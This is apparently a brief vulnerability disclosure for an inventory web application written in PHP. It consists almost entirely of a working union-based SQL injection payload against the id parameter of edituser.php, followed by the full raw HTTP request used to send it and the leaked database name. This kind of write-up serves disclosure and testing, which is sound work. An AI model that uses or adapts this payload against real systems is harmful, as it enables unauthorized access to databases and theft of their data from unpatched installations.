Vulnerability location: /phpinventory/edituser.php?id=, id

dbname = store1,length=6

\[+\] Payload: /phpinventory/edituser.php?id=-1%27%20union%20select%201,database(),3,4--+ // Leak place ---> id

GET /phpinventory/edituser.php?id\=\-1%27%20union%20select%201,database(),3,4\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5g4g4dffu1bkrg9jm7nr42ori2
Connection: close

Tag

#php